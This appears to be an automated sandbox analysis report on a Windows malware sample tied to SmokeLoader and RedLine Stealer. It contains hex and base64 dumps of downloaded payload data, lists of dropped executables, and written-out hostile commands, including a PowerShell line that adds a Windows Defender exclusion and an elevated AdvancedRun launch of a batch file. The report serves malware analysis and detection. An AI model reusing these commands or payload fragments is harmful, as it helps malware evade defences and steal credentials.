55 00 46 00 61 00 4d 00 6c 00 59 00 77 00 57 00 44 00 42 00 47 00 61 00 31 00 70 00 49 00 53 00 6d 00 78 00 6a 00 4d 
00 30 00 31 00 42 00 55 00 6a 00 4a 00 57 00 4d 00 46 00 56 00 49 00 53 00 6e 00 5a 00 5a 00 4d 00 45 00 5a 00 72 00 
57 00 6b 00 68 00 4b 00 62 00 47 00 4d 00 7a 00 54 00 55 00 46 00 53 00 56 00 7a 00 56 00 72 00 59 00 30 00 63 00 35 
00 63 00 47 00 4a 00 75 00 55 00 6b 00 4a 00 61 00 52 00 31 00 4a 00 35 00 57 00 6c 00 68 00 4f 00 65 00 6b 00 46 00 
48 00 52 00 6d 00 74 00 61 00 53 00 45 00 70 00 73 00 59 00 7a 00 4e 00 4e 00 51 00 56 00 55 00 7a 00 62 00 48 00 70 
00 6b 00 52 00 31 00 5a 00 30 00 54 00 47 00 73 00 31 00 62 00 47 00 52 00 
Data Ascii: QkpVRUZrWkhKbGMzTUFaMlYwWDBGa1pISmxjM01BUjJWMFVISnZZMEZrWkhKbGMzTUFSVzVrY0c5cG
JuUkJaR1J5WlhOekFHRmtaSEpsYzNNQVUzbHpkR1Z0TGs1bGR

2021-11-09 21:22:01 UTC 1648 IN Data Raw: 00 51 00 6e 00 5a 00 42 00 52 00 30 00 56 00 42 00 59 00 6c 00 46 00 43 00 63 00 45 00 46 00 46 00 57 00 55 
00 46 00 68 00 55 00 55 00 4a 00 7a 00 51 00 55 00 64 00 56 00 51 00 55 00 78 00 6e 00 51 00 6c 00 68 00 42 00 53 00 
45 00 6c 00 42 00 59 00 56 00 46 00 43 00 4d 00 45 00 46 00 48 00 56 00 55 00 46 00 69 00 5a 00 30 00 4a 00 75 00 51 
00 55 00 46 00 42 00 56 00 6c 00 4a 00 6e 00 51 00 6e 00 42 00 42 00 52 00 33 00 64 00 42 00 57 00 6c 00 46 00 42 00 
64 00 55 00 46 00 47 00 59 00 30 00 46 00 6a 00 5a 00 30 00 4a 00 77 00 51 00 55 00 68 00 52 00 51 00 56 00 70 00 52 
00 51 00 55 00 46 00 45 00 4d 00 47 00 64 00 42 00 57 00 56 00 46 00 43 00 64 00 55 00 46 00 48 00 55 00 55 00 46 00 
69 00 51 00 55 00 4a 00 73 00 51 00 55 00 68 00 4a 00 51 00 55 00 46 00 
Data Ascii: QnZBR0VBYlFCcEFFWUFhUUJzQUdVQUxnQlhBSElBYVFCMEFHVUFiZ0JuQUFBVlJnQnBBR3dBWlFBdU
FGY0FjZ0JwQUhRQVpRQUFEMGdBWVFCdUFHUUFiQUJsQUhJQUF

Timestamp
kBytes
transferred Direction Data
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

2021-11-09 21:22:01 UTC 1664 IN Data Raw: 00 53 00 30 00 4a 00 44 00 55 00 6c 00 56 00 54 00 5a 00 30 00 74 00 56 00 51 00 6b 00 56 00 76 00 53 00 54 
00 46 00 45 00 65 00 46 00 56 00 54 00 5a 00 30 00 70 00 72 00 51 00 6b 00 5a 00 53 00 53 00 30 00 46 00 75 00 55 00 
55 00 31 00 54 00 5a 00 30 00 74 00 46 00 59 00 30 00 68 00 42 00 62 00 31 00 5a 00 46 00 62 00 30 00 4e 00 6b 00 51 
00 58 00 68 00 4c 00 51 00 57 00 39 00 53 00 64 00 32 00 4e 00 44 00 51 00 30 00 46 00 44 00 52 00 58 00 64 00 4a 00 
56 00 45 00 46 00 43 00 54 00 55 00 4a 00 44 00 61 00 46 00 56 00 54 00 5a 00 30 00 6f 00 77 00 52 00 45 00 56 00 76 
00 51 00 32 00 68 00 49 00 51 00 54 00 52 00 47 00 51 00 55 00 46 00 42 00 55 00 32 00 64 00 71 00 4d 00 46 00 70 00 
43 00 64 00 31 00 56 00 57 00 52 00 57 00 6b 00 77 00 51 00 6b 00 56 00 
Data Ascii: S0JDUlVTZ0tVQkVvSTFEeFVTZ0prQkZSS0FuUU1TZ0tFY0hBb1ZFb0NkQXhLQW9Sd2NDQ0FDRXdJVE
FCTUJDaFVTZ0owREVvQ2hIQTRGQUFBU2dqMFpCd1VWRWkwQkV

2021-11-09 21:22:01 UTC 1680 IN Data Raw: 00 64 00 30 00 5a 00 4a 00 51 00 55 00 56 00 4b 00 52 00 57 00 35 00 46 00 55 00 45 00 6c 00 42 00 5a 00 31 
00 4e 00 6a 00 55 00 6d 00 64 00 50 00 53 00 46 00 46 00 56 00 53 00 55 00 56 00 42 00 5a 00 30 00 70 00 46 00 62 00 
6c 00 56 00 6a 00 51 00 6e 00 6c 00 42 00 51 00 30 00 4e 00 53 00 51 00 55 00 6c 00 46 00 62 00 6b 00 56 00 4f 00 53 
00 55 00 46 00 6a 00 55 00 32 00 4e 00 53 00 5a 00 30 00 39 00 49 00 55 00 56 00 56 00 4a 00 51 00 30 00 4a 00 4b 00 
4d 00 55 00 68 00 43 00 53 00 57 00 64 00 44 00 65 00 45 00 70 00 34 00 52 00 30 00 4a 00 6e 00 54 00 30 00 56 00 43 
00 5a 00 31 00 6c 00 44 00 51 00 6a 00 42 00 47 00 51 00 30 00 46 00 72 00 55 00 32 00 52 00 53 00 64 00 30 00 6c 00 
4a 00 51 00 55 00 31 00 54 00 59 00 31 00 4a 00 6e 00 55 00 32 00 52 00 
Data Ascii: d0ZJQUVKRW5FUElBZ1NjUmdPSFFVSUVBZ0pFblVjQnlBQ0NSQUlFbkVOSUFjU2NSZ09IUVVJQ0JKMU
hCSWdDeEp4R0JnT0VCZ1lDQjBGQ0FrU2RSd0lJQU1TY1JnU2R

2021-11-09 21:22:01 UTC 1696 IN Data Raw: 00 5a 00 30 00 46 00 61 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 
6b 00 39 00 42 00 52 00 7a 00 68 00 42 00 55 00 6b 00 46 00 43 00 62 00 45 00 46 00 48 00 57 00 55 00 46 00 6a 00 5a 
00 30 00 4a 00 72 00 51 00 55 00 56 00 52 00 51 00 56 00 70 00 52 00 51 00 6d 00 31 00 42 00 52 00 6c 00 6c 00 42 00 5
6 00 55 00 46 00 43 00 54 00 30 00 46 00 46 00 55 00 55 00 46 00 61 00 55 00 55 00 4a 00 74 00 51 00 55 00 68 00 6a 
00 51 00 56 00 6c 00 52 00 51 00 6d 00 68 00 42 00 53 00 45 00 31 00 42 00 57 00 6d 00 64 00 43 00 63 00 30 00 46 00 
48 00 64 00 30 00 46 00 61 00 55 00 55 00 49 00 77 00 51 00 55 00 64 00 46 00 51 00 57 00 4e 00 33 00 51 00 6d 00 31 
00 42 00 53 00 46 00 6c 00 42 00 54 00 56 00 46 00 42 00 65 00 45 00 46 00 
Data Ascii: Z0FaUUFBQUFBQUFBQk9BRzhBUkFCbEFHWUFjZ0JrQUVRQVpRQm1BRllBVUFCT0FFUUFaUUJtQUhjQV
lRQmhBSE1BWmdCc0FHd0FaUUIwQUdFQWN3Qm1BSFlBTVFBeEF

2021-11-09 21:22:01 UTC 1712 IN Data Raw: 00 54 00 55 00 46 00 6b 00 51 00 55 00 4a 00 35 00 51 00 55 00 64 00 72 00 51 00 57 00 4a 00 6e 00 51 00 
6d 00 35 00 42 00 52 00 56 00 6c 00 42 00 59 00 56 00 46 00 43 00 63 00 30 00 46 00 48 00 56 00 55 00 46 00 54 00 55 
00 55 00 4a 00 31 00 51 00 55 00 64 00 5a 00 51 00 57 00 4a 00 33 00 51 00 55 00 46 00 42 00 53 00 57 00 64 00 43 00 
51 00 55 00 46 00 42 00 51 00 6b 00 46 00 45 00 51 00 55 00 46 00 4e 00 51 00 55 00 46 00 33 00 51 00 55 00 52 00 42 
00 51 00 55 00 31 00 42 00 51 00 54 00 42 00 42 00 52 00 30 00 6c 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 
44 00 64 00 30 00 46 00 42 00 5a 00 30 00 46 00 43 00 51 00 55 00 56 00 5a 00 51 00 57 00 46 00 52 00 51 00 6e 00 4e 
00 42 00 52 00 31 00 56 00 42 00 55 00 6b 00 46 00 43 00 62 00 45 00 46 00 
Data Ascii: TUFkQUJ5QUdrQWJnQm5BRVlBYVFCc0FHVUFTUUJ1QUdZQWJ3QUFBSWdCQUFBQkFEQUFN
QUF3QURBQU1BQTBBR0lBTUFBQUFDd0FBZ0FCQUVZQWFRQnNBR1VBUkFCbEF

2021-11-09 21:22:01 UTC 1728 IN Data Raw: 00 52 00 47 00 68 00 7a 00 5a 00 6d 00 4e 00 36 00 4d 00 31 00 4a 00 79 00 61 00 32 00 74 00 32 00 55 00 
31 00 64 00 32 00 4f 00 46 00 46 00 33 00 57 00 54 00 52 00 68 00 63 00 7a 00 46 00 79 00 61 00 48 00 46 00 4c 00 57 
00 47 00 4a 00 6f 00 61 00 47 00 35 00 48 00 4e 00 31 00 42 00 48 00 5a 00 55 00 68 00 69 00 65 00 6b 00 39 00 4f 00 6
2 00 33 00 56 00 78 00 52 00 54 00 68 00 54 00 51 00 30 00 68 00 36 00 55 00 33 00 42 00 4e 00 54 00 54 00 51 00 30 
00 59 00 6a 00 42 00 35 00 53 00 33 00 56 00 4b 00 62 00 55 00 77 00 72 00 62 00 6d 00 52 00 50 00 52 00 48 00 42 00 
4a 00 64 00 45 00 5a 00 71 00 61 00 6b 00 70 00 49 00 64 00 46 00 4a 00 78 00 62 00 45 00 74 00 35 00 52 00 46 00 67 
00 78 00 55 00 44 00 64 00 35 00 62 00 58 00 46 00 72 00 62 00 6b 00 70 00 
Data Ascii: RGhzZmN6M1Jya2t2U1d2OFF3WTRhczFyaHFLWGJoaG5HN1BHZUhiek9Ob3VxRThTQ0h6U3BNTTQ0Yj
B5S3VKbUwrbmRPRHBJdEZqakpIdFJxbEt5RFgxUDd5bXFrbkp

Timestamp
kBytes
transferred Direction Data

Start time: 22:20:05

Start date: 09/11/2021

Analysis Process: y4oMrtO1Mt.exe PID: 7100 Parent PID: 5380Analysis Process: y4oMrtO1Mt.exe PID: 7100 Parent PID: 5380

General
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Path: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" 

Imagebase: 0x400000

File size: 292864 bytes

MD5 hash: DB2EF30E8F821C8F00456941F5944849

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Start time: 22:20:09

Start date: 09/11/2021

Path: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" 

Imagebase: 0x400000

File size: 292864 bytes

MD5 hash: DB2EF30E8F821C8F00456941F5944849

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, Author: 
Joe Security

Reputation: low

File ActivitiesFile Activities

Start time: 22:20:16

Start date: 09/11/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6fee60000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, Author: 
Joe Security

Reputation: high

Show Windows behavior

Analysis Process: y4oMrtO1Mt.exe PID: 7140 Parent PID: 7100Analysis Process: y4oMrtO1Mt.exe PID: 7140 Parent PID: 7100

General

Analysis Process: explorer.exe PID: 3424 Parent PID: 7140Analysis Process: explorer.exe PID: 3424 Parent PID: 7140

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written
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Start time: 22:20:49

Start date: 09/11/2021

Path: C:\Users\user\AppData\Roaming\hrgjvbv

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\hrgjvbv

Imagebase: 0x400000

File size: 292864 bytes

MD5 hash: DB2EF30E8F821C8F00456941F5944849

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, Joe Sandbox ML

Reputation: low

Start time: 22:20:53

Start date: 09/11/2021

Path: C:\Users\user\AppData\Roaming\hrgjvbv

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\hrgjvbv

Imagebase: 0x7ff6eb840000

File size: 292864 bytes

MD5 hash: DB2EF30E8F821C8F00456941F5944849

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Start time: 22:20:53

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\F72D.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\F72D.exe

Imagebase: 0x400000

File size: 292864 bytes

MD5 hash: DB2EF30E8F821C8F00456941F5944849

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, Joe Sandbox ML

Reputation: low

Analysis Process: hrgjvbv PID: 1572 Parent PID: 968Analysis Process: hrgjvbv PID: 1572 Parent PID: 968

General

Analysis Process: hrgjvbv PID: 6780 Parent PID: 1572Analysis Process: hrgjvbv PID: 6780 Parent PID: 1572

General

Analysis Process: F72D.exe PID: 6960 Parent PID: 3424Analysis Process: F72D.exe PID: 6960 Parent PID: 3424

General
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Start time: 22:20:59

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\F72D.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\F72D.exe

Imagebase: 0x400000

File size: 292864 bytes

MD5 hash: DB2EF30E8F821C8F00456941F5944849

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

File ActivitiesFile Activities

Start time: 22:21:18

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\59B4.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\59B4.exe

Imagebase: 0x40000

File size: 2758360 bytes

MD5 hash: 510129781D403976345AFEA3BDB4E426

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: low

Show Windows behavior

Start time: 22:21:28

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\8039.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\8039.exe

Imagebase: 0xb30000

File size: 294912 bytes

MD5 hash: EF9CFB2DDC4AF2089DF63A761ECC7833

Has elevated privileges: true

Analysis Process: F72D.exe PID: 5008 Parent PID: 6960Analysis Process: F72D.exe PID: 5008 Parent PID: 6960

General

Analysis Process: 59B4.exe PID: 5212 Parent PID: 3424Analysis Process: 59B4.exe PID: 5212 Parent PID: 3424

General

File CreatedFile Created

File ReadFile Read

Analysis Process: 8039.exe PID: 5408 Parent PID: 3424Analysis Process: 8039.exe PID: 5408 Parent PID: 3424

General
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File ActivitiesFile Activities

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 22:21:30

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\8039.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\8039.exe

Imagebase: 0x610000

File size: 294912 bytes

MD5 hash: EF9CFB2DDC4AF2089DF63A761ECC7833

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000016.00000002.953920982.0000000002B80000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Start time: 22:21:35

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: 8039.exe PID: 6032 Parent PID: 5408Analysis Process: 8039.exe PID: 6032 Parent PID: 5408

General

File CreatedFile Created

File ReadFile Read

Analysis Process: 9D57.exe PID: 6244 Parent PID: 3424Analysis Process: 9D57.exe PID: 6244 Parent PID: 3424

General
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File ActivitiesFile Activities

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\9D57.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\9D57.exe

Imagebase: 0x400000

File size: 233472 bytes

MD5 hash: 08CB82859479B33DC1D0738B985DB28C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 22:21:43

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\B8B0.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\B8B0.exe

Imagebase: 0xce0000

File size: 161280 bytes

MD5 hash: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: moderate

Show Windows behavior

Show Windows behavior

Start time: 22:21:53

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\610B.exe

Analysis Process: B8B0.exe PID: 6784 Parent PID: 3424Analysis Process: B8B0.exe PID: 6784 Parent PID: 3424

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: 610B.exe PID: 4936 Parent PID: 3424Analysis Process: 610B.exe PID: 4936 Parent PID: 3424

General
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Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\610B.exe

Imagebase: 0x400000

File size: 365568 bytes

MD5 hash: 7BD70FFC35AB8B39FDE9BD5FAEC876DB

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

File ActivitiesFile Activities

Start time: 22:21:58

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\610B.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\610B.exe

Imagebase: 0x400000

File size: 365568 bytes

MD5 hash: 7BD70FFC35AB8B39FDE9BD5FAEC876DB

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Start time: 22:21:58

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-
131a4522ce18\AdvancedRun.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedR
un.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-1
31a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirec
tory "" /RunAs 8 /Run

Imagebase: 0x400000

File size: 91000 bytes

MD5 hash: 17FC12902F4769AF3A9271EB4E2DACCE

Analysis Process: 610B.exe PID: 6984 Parent PID: 4936Analysis Process: 610B.exe PID: 6984 Parent PID: 4936

General

File CreatedFile Created

File ReadFile Read

Analysis Process: AdvancedRun.exe PID: 3544 Parent PID: 6784Analysis Process: AdvancedRun.exe PID: 3544 Parent PID: 6784

General
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Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 3%, Metadefender, Browse
Detection: 0%, ReversingLabs

Reputation: moderate

Start time: 22:22:01

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\82DC.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\82DC.exe

Imagebase: 0x9d0000

File size: 399872 bytes

MD5 hash: 0F289285CADCF1E656016A19789B5637

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable 
that has been encoded with base64 twice, Source: 
0000001D.00000002.945154520.0000000003D11000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp, 
Author: Joe Security

Reputation: low

Start time: 22:22:02

Start date: 09/11/2021

Path: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-
131a4522ce18\AdvancedRun.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedR
un.exe" /SpecialRun 4101d8 3544

Imagebase: 0x400000

File size: 91000 bytes

MD5 hash: 17FC12902F4769AF3A9271EB4E2DACCE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 22:22:02

Start date: 09/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

Analysis Process: 82DC.exe PID: 4904 Parent PID: 3424Analysis Process: 82DC.exe PID: 4904 Parent PID: 3424

General

Analysis Process: AdvancedRun.exe PID: 6560 Parent PID: 3544Analysis Process: AdvancedRun.exe PID: 6560 Parent PID: 3544

General

Analysis Process: conhost.exe PID: 4500 Parent PID: 4904Analysis Process: conhost.exe PID: 4500 Parent PID: 4904

General
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Disassembly

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 22:22:06

Start date: 09/11/2021

Path: C:\Users\user\AppData\Roaming\argjvbv

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\argjvbv

Imagebase: 0x400000

File size: 233472 bytes

MD5 hash: 08CB82859479B33DC1D0738B985DB28C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 22:22:09

Start date: 09/11/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -Ex
clusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force

Imagebase: 0xdd0000

File size: 430592 bytes

MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 22:22:10

Start date: 09/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: argjvbv PID: 4856 Parent PID: 968Analysis Process: argjvbv PID: 4856 Parent PID: 968

General

Analysis Process: powershell.exe PID: 3840 Parent PID: 6784Analysis Process: powershell.exe PID: 3840 Parent PID: 6784

General

Analysis Process: conhost.exe PID: 2912 Parent PID: 3840Analysis Process: conhost.exe PID: 2912 Parent PID: 3840

General
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